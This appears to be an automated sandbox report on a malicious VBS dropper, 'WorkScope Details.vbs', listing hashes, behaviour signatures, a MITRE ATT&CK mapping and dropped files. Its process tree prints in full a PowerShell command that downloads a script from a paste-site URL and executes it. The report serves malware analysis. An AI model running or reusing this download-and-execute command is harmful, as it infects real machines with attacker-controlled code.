78a742710aa79e0574a6faefecfaf851b64043889e75768f5de091cfc5a21dc0

General

Target

WorkScope Details.vbs
Size

31KB
MD5

0284695a0af70e045cf579e015ebbdf4
SHA1

f0c20148cf96f0c81463e0224d80d4c67d7c1a04
SHA256

78a742710aa79e0574a6faefecfaf851b64043889e75768f5de091cfc5a21dc0
SHA512

6e54499711e1a0ee1ecd4679d7584027a424ba496d0bca868cc8e8d13d47097c4f0d65c0e4277c1457371b37e0c525a8ade33860cabd4e8869a438282af89e56

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://textbin.net/raw/mevlbkxshp

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	1492	powershell.exe
5	1492	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1492	powershell.exe
1500	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	1500	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1648 wrote to memory of 1492	1648	WScript.exe	27
PID 1648 wrote to memory of 1492	1648	WScript.exe	27
PID 1648 wrote to memory of 1492	1648	WScript.exe	27
PID 1492 wrote to memory of 1500	1492	powershell.exe	29
PID 1492 wrote to memory of 1500	1492	powershell.exe	29
PID 1492 wrote to memory of 1500	1492	powershell.exe	29

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\WorkScope Details.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy RemoteSigned -Command [System.Net.WebClient] $Client = New-Object System.Net.WebClient; [Byte[]] $DownloadedData = $Client.DownloadData('https://textbin.net/raw/mevlbkxshp'); [String] $ByteToString = [System.Text.UTF8Encoding]::UTF8.GetString($DownloadedData); [System.IO.File]::WriteAllText('C:\Users\Public\mevlbkxshp.PS1', $ByteToString, [System.Text.Encoding]::UTF8); Invoke-Expression 'PowerShell -ExecutionPolicy RemoteSigned -File C:\Users\Public\mevlbkxshp.PS1'
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy RemoteSigned -File C:\Users\Public\mevlbkxshp.PS1
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1500

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
0558c637d1ab3bb3a8a6becee7a23c12

SHA1
0924ebf98bad2dc88b32bcba48cf8d87cb991751

SHA256
ab4cdb449e05ab0c0d21e59239a95228b1e4ec2f76a0181c102725780b347b05

SHA512
955287fa6a150847464c38c59816dc830ae3878cc95c2be222ffac43cf61b282e16ad52142bb31cb55101543bec2c56451717b6e80e52738cc58b9bf69dfee8d

Download Submit
C:\Users\Public\mevlbkxshp.PS1

Filesize
3B

MD5
ecaa88f7fa0bf610a5a26cf545dcd3aa

SHA1
57218c316b6921e2cd61027a2387edc31a2d9471

SHA256
f1945cd6c19e56b3c1c78943ef5ec18116907a4ca1efc40a57d48ab1db7adfc5

SHA512
37c783b80b1d458b89e712c2dfe2777050eff0aefc9f6d8beedee77807d9aeb2e27d14815cf4f0229b1d36c186bb5f2b5ef55e632b108cc41e9fb964c39b42a5

Download Submit
memory/1492-57-0x000007FEF4C20000-0x000007FEF55BD000-memory.dmp

Filesize
9.6MB

Download
memory/1492-61-0x0000000001FB4000-0x0000000001FB7000-memory.dmp

Filesize
12KB

Download
memory/1492-60-0x0000000001FB2000-0x0000000001FB4000-memory.dmp

Filesize
8KB

Download
memory/1492-58-0x000000001B7A0000-0x000000001BA9F000-memory.dmp

Filesize
3.0MB

Download
memory/1492-59-0x0000000001FB0000-0x0000000001FB2000-memory.dmp

Filesize
8KB

Download
memory/1492-62-0x0000000001FBB000-0x0000000001FDA000-memory.dmp

Filesize
124KB

Download
memory/1500-66-0x000007FEF4A60000-0x000007FEF55BD000-memory.dmp

Filesize
11.4MB

Download
memory/1500-67-0x00000000024D0000-0x00000000024D2000-memory.dmp

Filesize
8KB

Download
memory/1500-68-0x00000000024D2000-0x00000000024D4000-memory.dmp

Filesize
8KB

Download
memory/1500-69-0x00000000024D4000-0x00000000024D7000-memory.dmp

Filesize
12KB

Download
memory/1500-70-0x000000001B780000-0x000000001BA7F000-memory.dmp

Filesize
3.0MB

Download
memory/1500-72-0x00000000024DB000-0x00000000024FA000-memory.dmp

Filesize
124KB

Download
memory/1648-54-0x000007FEFB741000-0x000007FEFB743000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing